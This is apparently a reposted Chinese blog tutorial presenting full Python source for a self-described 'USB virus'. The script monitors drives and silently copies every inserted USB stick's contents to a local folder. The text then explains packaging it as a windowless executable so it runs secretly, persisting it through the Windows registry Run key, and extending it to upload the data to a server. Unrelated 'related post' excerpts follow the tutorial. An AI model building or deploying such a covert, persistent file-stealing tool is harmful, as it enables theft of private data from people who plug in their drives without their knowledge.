佛爺帶你用Python寫一個USB病毒(自動複製U盤所有內容到指定本地磁碟地址)
致力想當一名駭客的筆者閒著無聊,做一個小工具玩玩,程式碼量不大,用Python寫一個指令碼檢測U盤的插入和複製U盤內容到本地計算機上(大家可以擴充套件為上傳到具體某個伺服器上或者什麼)。然後打包成可執行檔案(後臺執行、有視窗執行),並且新增到電腦開機啟動程序裡。
Windows版本
直接上程式碼,程式碼不多,也不難懂。Python3.6開發環境:
# -*- coding:utf-8 -*-
import psutil
import sys
import os
import time
from datetime import datetime
import shutil
"""全域性資料 實時更新"""
local_device = [] # 本地硬碟
local_letter = [] # 本地碟符
local_number = 0 # 本地硬碟數
local_cdrom = []
local_cdrom_letter = []
local_cdrom_number = 0
mobile_device = [] # 移動裝置
mobile_letter = [] # 移動裝置碟符
mobile_number = 0 # 移動裝置數
def updata():
global local_device, local_letter, local_number, mobile_device, \
mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
# 引入全域性變數
tmp_local_device, tmp_local_letter = [], []
tmp_mobile_device, tmp_mobile_letter = [], []
tmp_local_cdrom, tmp_local_cdrom_letter = [], []
tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number = 0, 0, 0
try:
part = psutil.disk_partitions()
except:
print("程式發生異常!!!" )
sys.exit(-1)
else:
# 驅動器分類
for i in range(len(part)):
tmplist = part[i].opts.split(",")
if "fixed" in tmplist: # 掛載選項資料內讀到fixed = 本地裝置
tmp_local_number = tmp_local_number + 1
tmp_local_letter.append(part[i].device[:2]) # 得到碟符資訊
tmp_local_device.append(part[i])
elif "cdrom" in tmplist:
tmp_local_cdrom_number = tmp_local_cdrom_number + 1
tmp_local_cdrom_letter.append(part[i].device[:2])
tmp_local_cdrom.append(part[i])
else:
tmp_mobile_number = tmp_mobile_number + 1
tmp_mobile_letter.append(part[i].device[:2])
tmp_mobile_device.append(part[i])
# 淺切片
local_device, local_letter = tmp_local_device[:], tmp_local_letter[:]
mobile_device, mobile_letter = tmp_mobile_device[:], tmp_mobile_letter[:]
local_number, mobile_number, local_cdrom_number = tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number
local_cdrom, local_cdrom_letter = tmp_local_cdrom[:], tmp_local_cdrom_letter[:]
return len(part) # 返回當前驅動器數
def print_device(n):
global local_device, local_letter, local_number, mobile_device, mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
print("讀取到" + str(n) + "個驅動器磁碟")
print("------->", end="")
for l in range(local_number):
print(local_letter[l], end="") # 列出本地驅動器碟符
print("是本地硬碟")
print("------->", end="")
for l in range(local_cdrom_number):
print(local_cdrom_letter[l], end="") # 列出本地驅動器碟符
print("是CD驅動器")
if len(mobile_device): # 列出移動驅動器碟符
print("------->", end="")
for m in range(mobile_number):
print(mobile_letter[m], end="")
print("是插入的移動磁碟...")
else:
pass
print("程序進入監聽狀態 " + "*" * 10)
return
def copy_file_to_disk_hidden(USB_path):
# U盤的碟符
usb_path = USB_path + "/"
# 要複製到的路徑
save_path = "D:/tmp/copy_usb"
while True:
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(5)
if __name__ == "__main__":
# 初次讀取驅動器資訊,列印驅動器詳細
now_number = 0 # 實時驅動數
before_number = updata() # 更新資料之前的驅動數
print("=" * 50 + "\n此刻時間是: " + str(datetime.now()))
print_device(before_number)
# 程序進入迴圈 Loop Seconds = 1s
while True:
now_number = updata()
if now_number > before_number:
print("=" * 50 + " \n檢測到移動磁碟被插入...此刻時間是: " + str(datetime.now()))
print_device(now_number)
if len(mobile_device): # 列出移動驅動器碟符
for m in range(mobile_number):
copy_file_to_disk_hidden(mobile_letter[m])
else:
pass
before_number = now_number # 重新整理資料
elif now_number < before_number:
print("=" * 50 + " \n檢測到移動磁碟被拔出...此刻時間是: " + str(datetime.now()))
print_device(now_number)
before_number = now_number
time.sleep(1)
Python指令碼打包可以參考網上各種教程。筆者這裡列舉一種:
在命令列用pip安裝 pyinstaller包
pip install pyinstaller
下載安裝pyinstaler執行時所需要的windows擴充套件pywin32
選擇最新版的下載,注意要選擇對應的python版本(version)和python位數(bittedness)
通過在命令列輸入python檢視python版本和位數
如下所示為python3.6的32位,需要下載[pywin32-223.win32-py3.6.exe]
(複製後網上搜索下載安裝)
Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
如下所示為python3.6的64位,需要下載[pywin32-223.win-amd64-py3.6.exe]
Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32
在命令列中直接輸入下面的指令即可
pyinstaller [opts] yourprogram.py
引數含義
-F 指定打包後只生成一個exe格式的檔案(建議寫上這個引數)
-D –onedir 建立一個目錄,包含exe檔案,但會依賴很多檔案(預設選項)
-c –console, –nowindowed 使用控制檯,無介面(預設)
-w –windowed, –noconsole 使用視窗,無控制檯
-p 新增搜尋路徑,讓其找到對應的庫。
-i 改變生成程式的icon圖示(比如給女朋友寫的程式,換個好看的圖示,預設的很醜)例項說明
比如你有個python程式叫test.py,絕對路徑在
[D:\project]
,打包成一個exe格式的檔案pyinstaller -F D:\project\test.py
條件同上,如果還希望沒有控制檯的黑框框,在程序中偷偷執行pyinstaller -F -w D:\project\test.py
條件同上,如果還希望更換程式圖示pyinstaller -F -w -i D:\project\test.ico D:\project\test.py
打包結果:
自動讓windows計算開機執行某一個.exe檔案解決方法:
第一種:
點選桌面左下角的 開始,選擇 執行(開啟cmd),輸入“regedit”回車,開啟登錄檔編輯器。定位到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,新建一個字串型別的鍵值 XXXXX.exe,指向 D:\XXXX\XXXXX.exe
第二種:
開始→程式→啟動(工作管理員中也有啟動項),這個是比較簡單了,直接點要啟動的檔案左鍵不放,一直拖到啟動位置就行了。
Mac
之後更新。
相關推薦
佛爺帶你用Python寫一個USB病毒(自動複製U盤所有內容到指定本地磁碟地址)
致力想當一名駭客的筆者閒著無聊,做一個小工具玩玩,程式碼量不大,用Python寫一個指令碼檢測U盤的插入和複製U盤內容到本地計算機上(大家可以擴充套件為上傳到具體某個伺服器上或者什麼)。然後打包成可執行檔案(後臺執行、有視窗執行),並且新增到電腦開機啟動程序裡。
佛爺帶你用Python視覺化分析 ”絕地求生1800萬遊戲資料“,穩穩吃雞!
本文內容和程式碼實現基本轉自By datayx。筆者在此之上,做了內容完善和程式碼完善。 98k消音,瞭解一下~ 經常玩吃雞遊戲,我們現在來分析一下過去一年 1800萬條遊戲資料,看看有什麼套路幫我們吃到雞。 1. 資料集描述 做資料分析或者機器
註冊會計師帶你用Python進行探索性風險分析(一)
專 欄 ❈Rho,Python中文社群專欄作者,現居深圳。知乎專欄地址:https://zhuanlan.zhihu.com/BecomingaDataScientist❈ 專案介紹 所謂探索性資料分析(Exploratory Data Analysis,以下簡稱EDA),是指對已有的資料(特別是調查
Tkinter小專案:用Python寫一個地址收藏管理工具,迅速提高你的工作效率
如何管理雜亂的電腦桌面和一大堆的瀏覽器收藏網址?我用python寫了一個工具,迅速提高工作效率。 工作了一段時間發現,電腦桌面上已經滿屏的常用軟體、常用專案資料夾的快捷方式,一大堆的常用文件,瀏覽器上收藏的工作網址更是有100+,通常想開啟一個文件、網址要尋找半
究極大福利!用Python寫一個抖音漂亮小姐姐發掘器!原始碼送給你!
最近沉迷於抖音無法自拔,常常連續花好幾個小時在抖音漂亮小姐姐身上。手動尋找費時費力,為了高效、直接地找到漂亮小姐姐,我用 Python + ADB 做了一個 Python 抖音機器人 Douyin-Bot。自動翻頁+顏值識別,瞬間覺得關注列表不夠用了!原理開啟《抖音短視訊》APP,進入主介面獲取手機截圖,並對
用Python寫一個批量生成賬號的函數(用戶控制數據長度、數據條數)
shuf open 小寫 長度 數據 ase 函數 用戶控制 app # 1、寫一個函數,批量生成一些註冊使用的賬號:[email protected]/* */,長度由用戶輸入,產生多少條也由用戶輸入,用戶名不能重復,用戶名必須由大寫字母、小寫字母、數字組成
用Python寫一個小遊戲
python 小腳本 剛學Python時間不長,但也知道了一點,看別人的參考寫了一個猜數字小遊戲,也算是禹學於樂吧。#!/usr/bin/env python #coding=utf-8
用python寫一個簡單的excel表格獲取當時的linux系統信息
psutil 生成 之前 建立 set ces ext 流量 關閉 最近在學習excel表格的制作,順便結合之前學習的內容,利用python的兩個模板,分別是獲取系統信息的psutil,和生成excel表格的xlsxwriter。利用這兩個模板將生成一個簡單的excel表格
用python寫一個九九乘法表-2月19日/2018
九九乘法 while -c pos ont 九九 pytho 九九乘法表 font first = 1 while first<=9: sec=1 while sec<=first: print(str(sec),"x",str(first),
用python寫一個restful API
python restful # -*- coding: utf-8 -*- # 作者: 煮酒品茶 """ package.module ~~~~~~~~~~~~~~ python實現的圖書的一個restful api. 參考restful設計指南 URL:
用python寫一個微信聊天機器人
python wechat 聊天機器人 # -*- coding: utf-8 -*- """ package.module ~~~~~~~~~~~~~~ 一個微信機器人程序 微信客戶端itchat: http://itchat.readthed
用python寫一個微信跳一跳外掛,瞬間稱霸朋友圈
python 微信 跳一跳 爬蟲12月28日,微信宣布,小程序增加了新的類目:小遊戲,同時上線小遊戲 你們跳的再好,在毫無心理波動的程序面前都是渣渣。 剛剛會python的小白想玩怎麽辦? 下有詳細的教程,哈哈,包教會不收任何的費用。 感受一下被支配的恐懼吧: 使用工具1.python3.6 2.adb 3
用Python 寫一個TCP 伺服器和TCP代理
TCP伺服器 import socket import threading bind_ip="0.0.0.0" bind_port=9999 server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_i
用Python寫一個語音播放軟體
單位經常使用廣播進行臨時事項的通知(將文字轉換為語音然後通過功放廣播),但是市面上多數語音播放軟體都是收費的,要麼發音失真,要麼不夠穩定——經常出現莫名其妙的故障,容易給工作帶來被動。學Python這麼久不如動手寫一款自己的語音廣播軟體,即使發生故障也可以自行排除。 介面設計 在開始動
用python寫一個抽獎程式
第一次使用python寫程式,確實比C/C++之類方便許多。既然這個抽獎的資料不大,對效率要求並不高,所以採用python寫,更加簡潔、清晰、方便。 1.用到的模組 生成隨機數的模組random 用來讀取excel表格的模組xlrd 2.思路:首先開啟e
用python寫一個小程式,解決買水果的問題?
問題: 商店總共有三種水果,香蕉/蘋果/葡萄,單價分別為3.5/5.0/3.0元/500克。 寫一個小程式實現: 1、輸出一個選單:列印每種水果的價格: 2、尋問客戶欲購買水果? 3、客戶想購買的克數?
教你用Python寫excel
質量、速度、廉價,選擇其中兩個 在書寫這些程式碼之前你應該安裝一個庫 xlsxwriter Xlsx是python用來構造xlsx檔案的模組,可以向excel2007+中寫text,numbers,formulas 公式以及hyperlinks超連結 可以完成xls
教你用Python寫介面
好程式碼本身就是最好的文件。當你需要新增一個註釋時,你應該考慮如何修改程式碼才能不需要註釋 作為Pyhon開發者,你遲早都會碰到圖形使用者介面(GUI)應用開發任務,這時候我們就需要一些介面庫來幫助我們快速搭建介面,python的介面庫很多,我認識的並不多,這裡只列出幾
用python寫一個簡單的詞法分析器
編譯原理老師要求寫一個java的詞法分析器,想了想決定用python寫一個。 目標 能識別出變數,數字,運算子,界符和關鍵字,用excel表打印出來。 有了目標,想想要怎麼實現詞法分析器。 1.先進行預處理,把註釋,多餘的空格,空行去掉。 2.一行一行掃
用python寫一個GitHub Trending Api
時間 sin 所有 運行 返回 gap 文件 clone con GitHub 給了開發者相當豐富的 API 接口 https://developer.github.com/v3/,包括認證,搜索,活動等接口,但就是沒有提供獲取 Trending 的接口。因此,需要自己來